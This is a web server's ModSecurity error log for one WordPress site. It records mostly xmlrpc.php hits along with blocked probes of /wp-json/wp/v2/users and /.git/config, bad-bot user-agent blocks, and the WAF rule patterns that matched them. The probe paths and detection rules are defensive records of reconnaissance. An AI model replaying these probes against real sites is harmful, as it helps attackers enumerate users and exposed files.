[Mon Apr 13 21:56:57.056011 2026] [:error] [pid 63406:tid 63433] [client 96.46.48.39:37504] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz2KbHZEIkQ0Zmgp5rilgAAANY"]
[Mon Apr 13 21:56:59.399388 2026] [:error] [pid 9314:tid 9329] [client 46.105.76.214:25964] [client 46.105.76.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.76.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz2K2_r4W8fX2GWyGQ8CQAAAY0"]
[Mon Apr 13 21:57:17.286902 2026] [:error] [pid 9314:tid 9321] [client 69.163.206.7:57388] [client 69.163.206.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.206.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz2PW_r4W8fX2GWyGQ8NwAAAYU"]
[Mon Apr 13 22:00:22.043699 2026] [:error] [pid 57183:tid 57204] [client 152.59.158.173:49804] [client 152.59.158.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.158.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz29jDO3t8R5NaxzYRoggAAAVM"]
[Mon Apr 13 22:00:27.517869 2026] [:error] [pid 7228:tid 7230] [client 103.178.126.39:62802] [client 103.178.126.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.178.126.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz2-wEnn1dQrOSHHNWwwAAAAQA"]
[Mon Apr 13 22:00:29.350792 2026] [:error] [pid 7228:tid 7251] [client 103.178.126.39:13655] [client 103.178.126.39] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adz2_QEnn1dQrOSHHNWwwgAAARU"]
[Mon Apr 13 22:00:32.430055 2026] [:error] [pid 57183:tid 57205] [client 152.59.158.173:50092] [client 152.59.158.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.158.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz3ADDO3t8R5NaxzYRonwAAAVQ"]
[Mon Apr 13 22:00:33.680059 2026] [:error] [pid 7228:tid 7240] [client 103.178.126.39:13655] [client 103.178.126.39] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adz3AQEnn1dQrOSHHNWwywAAAQo"]
[Mon Apr 13 22:00:43.131358 2026] [:error] [pid 63311:tid 63395] [client 152.59.158.173:50237] [client 152.59.158.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.158.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz3C6HjrGN1MqBCVFkYVgAAAJg"]
[Mon Apr 13 22:05:14.882694 2026] [:error] [pid 57183:tid 57208] [client 212.47.78.119:57953] [client 212.47.78.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adz4GjDO3t8R5NaxzYRrLAAAAVc"]
[Mon Apr 13 22:05:15.513305 2026] [:error] [pid 63310:tid 63346] [client 212.47.78.119:54092] [client 212.47.78.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "adz4G3oXpRU5ztmwPjJs7AAAAEI"]
[Mon Apr 13 22:05:16.115298 2026] [:error] [pid 63309:tid 63326] [client 212.47.78.119:59574] [client 212.47.78.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/media/system/js/core.js"] [unique_id "adz4HEpIKZ10weXpf0U4lgAAAA0"]
[Mon Apr 13 22:09:14.089674 2026] [:error] [pid 7228:tid 7242] [client 93.16.216.118:46708] [client 93.16.216.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.16.216.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz5CgEnn1dQrOSHHNWzAAAAAQw"]
[Mon Apr 13 22:12:33.433679 2026] [:error] [pid 63406:tid 63434] [client 185.51.79.114:54292] [client 185.51.79.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.51.79.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz50bHZEIkQ0Zmgp5rtaQAAANc"]
[Mon Apr 13 22:12:53.381023 2026] [:error] [pid 63406:tid 63422] [client 34.165.13.211:50870] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz55bHZEIkQ0Zmgp5rt-AAAAMs"]
[Mon Apr 13 22:17:29.971408 2026] [:error] [pid 7228:tid 7250] [client 152.53.87.236:32932] [client 152.53.87.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.87.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz6-QEnn1dQrOSHHNW2lgAAARQ"]
[Mon Apr 13 22:22:00.683580 2026] [:error] [pid 7228:tid 7248] [client 142.93.115.177:37652] [client 142.93.115.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.115.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz8CAEnn1dQrOSHHNW4HgAAARI"]
[Mon Apr 13 22:23:53.774363 2026] [:error] [pid 63311:tid 63376] [client 3.35.105.150:45366] [client 3.35.105.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.35.105.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz8eaHjrGN1MqBCVFkegwAAAIU"]
[Mon Apr 13 22:25:20.167718 2026] [:error] [pid 63311:tid 63386] [client 54.37.239.214:38810] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz80KHjrGN1MqBCVFke2QAAAI8"]
[Mon Apr 13 22:28:16.952613 2026] [:error] [pid 57183:tid 57202] [client 85.215.188.44:54418] [client 85.215.188.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.215.188.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz9gDDO3t8R5NaxzYR4YQAAAVE"]
[Mon Apr 13 22:30:33.576774 2026] [:error] [pid 57183:tid 57193] [client 109.228.52.205:51694] [client 109.228.52.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.228.52.205, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz-CTDO3t8R5NaxzYR5JwAAAUg"]
[Mon Apr 13 22:32:49.457579 2026] [:error] [pid 63406:tid 63427] [client 203.154.11.19:33068] [client 203.154.11.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.154.11.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adz-kbHZEIkQ0Zmgp5r-UQAAANA"]
[Mon Apr 13 22:40:06.064499 2026] [:error] [pid 9314:tid 9339] [client 37.128.148.215:48172] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0ARm_r4W8fX2GWyGRMwQAAAZc"]
[Mon Apr 13 22:50:57.441333 2026] [:error] [pid 7228:tid 7251] [client 180.181.244.244:38180] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0C0QEnn1dQrOSHHNXBZgAAARU"]
[Mon Apr 13 22:55:14.495431 2026] [:error] [pid 9314:tid 9333] [client 54.38.195.241:38320] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0D0m_r4W8fX2GWyGRTUgAAAZE"]
[Mon Apr 13 22:56:14.554073 2026] [:error] [pid 7228:tid 7231] [client 104.37.174.183:42198] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0EDgEnn1dQrOSHHNXDmQAAAQE"]
[Mon Apr 13 23:19:43.306852 2026] [:error] [pid 63311:tid 63384] [client 20.237.8.18:16128] [client 20.237.8.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.237.8.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0Jj6HjrGN1MqBCVFkuNQAAAI0"]
[Mon Apr 13 23:29:48.287924 2026] [:error] [pid 57183:tid 57205] [client 59.125.102.142:55474] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0L7DDO3t8R5NaxzYSdhwAAAVQ"]
[Mon Apr 13 23:30:01.043381 2026] [:error] [pid 63406:tid 63434] [client 113.161.54.245:59604] [client 113.161.54.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.161.54.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0L-bHZEIkQ0Zmgp5otxgAAANc"]
[Mon Apr 13 23:30:58.101978 2026] [:error] [pid 63406:tid 63421] [client 148.113.202.220:51904] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0MMrHZEIkQ0Zmgp5ouWAAAAMo"]
[Mon Apr 13 23:33:14.976453 2026] [:error] [pid 63311:tid 63379] [client 23.105.193.86:47300] [client 23.105.193.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.105.193.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0MuqHjrGN1MqBCVFkyZAAAAIg"]
[Mon Apr 13 23:36:31.103206 2026] [:error] [pid 63309:tid 63313] [client 68.183.124.132:49524] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0Nf0pIKZ10weXpf0VHowAAAAA"]
[Mon Apr 13 23:42:14.100430 2026] [:error] [pid 7228:tid 7231] [client 117.33.163.216:52734] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad0O1gEnn1dQrOSHHNXQ9AAAAQE"]
[Mon Apr 13 23:44:08.630408 2026] [:error] [pid 57183:tid 57197] [client 69.163.206.7:33718] [client 69.163.206.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.206.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0PSDDO3t8R5NaxzYSkDAAAAUw"]
[Mon Apr 13 23:44:12.651446 2026] [:error] [pid 63311:tid 63392] [client 137.184.132.132:53500] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad0PTKHjrGN1MqBCVFk0vgAAAJU"]
[Mon Apr 13 23:44:21.877536 2026] [:error] [pid 57183:tid 57209] [client 137.184.132.132:58772] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad0PVTDO3t8R5NaxzYSkJwAAAVg"]
[Mon Apr 13 23:44:36.292781 2026] [:error] [pid 57183:tid 57192] [client 83.197.127.68:48740] [client 83.197.127.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.197.127.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0PZDDO3t8R5NaxzYSkOQAAAUc"]
[Mon Apr 13 23:54:39.203738 2026] [:error] [pid 57183:tid 57186] [client 143.244.166.58:43160] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0RvzDO3t8R5NaxzYSoIAAAAUE"]
[Mon Apr 13 23:58:46.828060 2026] [:error] [pid 63406:tid 63419] [client 185.199.223.27:33364] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0StrHZEIkQ0Zmgp5pA5wAAAMg"]
[Tue Apr 14 00:00:12.464661 2026] [:error] [pid 63311:tid 63380] [client 139.99.61.38:60376] [client 139.99.61.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.99.61.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0TDKHjrGN1MqBCVFk40wAAAIk"]
[Tue Apr 14 00:03:54.686865 2026] [:error] [pid 7228:tid 7231] [client 69.57.172.96:59890] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0T6gEnn1dQrOSHHNXWngAAAQE"]
[Tue Apr 14 00:08:04.946115 2026] [:error] [pid 63406:tid 63426] [client 156.67.24.219:33758] [client 156.67.24.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.24.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0U5LHZEIkQ0Zmgp5pFvwAAAM8"]
[Tue Apr 14 00:15:47.227951 2026] [:error] [pid 9314:tid 9327] [client 54.38.122.177:48232] [client 54.38.122.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.122.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0Ws2_r4W8fX2GWyGRzdgAAAYs"]
[Tue Apr 14 00:16:25.461628 2026] [:error] [pid 57183:tid 57201] [client 69.57.172.96:48826] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0W2TDO3t8R5NaxzYSyAAAAAVA"]
[Tue Apr 14 00:35:20.801085 2026] [:error] [pid 9314:tid 9333] [client 178.62.28.91:53078] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0bSG_r4W8fX2GWyGR6fAAAAZE"]
[Tue Apr 14 00:36:01.643893 2026] [:error] [pid 63309:tid 63336] [client 148.113.202.220:49260] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0bcUpIKZ10weXpf0VRowAAABc"]
[Tue Apr 14 00:51:46.160601 2026] [:error] [pid 59914:tid 59965] [client 15.235.224.64:36992] [client 15.235.224.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.224.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0fIuq0YMmB3OWbbUk3yAAAAFU"]
[Tue Apr 14 00:52:19.205922 2026] [:error] [pid 59915:tid 59991] [client 185.246.164.237:44284] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0fQ4eTNdEemByf99geQAAAAJQ"]
[Tue Apr 14 00:56:15.957842 2026] [:error] [pid 60317:tid 60345] [client 157.245.242.100:30592] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0gL7Bo7Bc8I7P_P-9uJAAAAMU"]
[Tue Apr 14 00:57:48.286455 2026] [:error] [pid 60317:tid 60342] [client 37.128.148.215:44356] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0gjLBo7Bc8I7P_P-9vXQAAAMI"]
[Tue Apr 14 01:11:37.302113 2026] [:error] [pid 60317:tid 60352] [client 185.199.223.27:44106] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0jybBo7Bc8I7P_P-98qAAAAMw"]
[Tue Apr 14 01:17:31.869924 2026] [:error] [pid 60317:tid 60341] [client 217.154.180.19:56940] [client 217.154.180.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.180.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0lK7Bo7Bc8I7P_P--ARwAAAME"]
[Tue Apr 14 01:22:12.256665 2026] [:error] [pid 59914:tid 59947] [client 213.165.69.184:56686] [client 213.165.69.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.165.69.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0mROq0YMmB3OWbbUlDZAAAAEM"]
[Tue Apr 14 01:23:04.400079 2026] [:error] [pid 60317:tid 60362] [client 51.68.74.67:58152] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0meLBo7Bc8I7P_P--DoAAAANY"]
[Tue Apr 14 01:33:15.416501 2026] [:error] [pid 59913:tid 59920] [client 185.74.80.5:37626] [client 185.74.80.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.74.80.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad0o265XvQ9C-gZtr2ynxAAAAAM"]
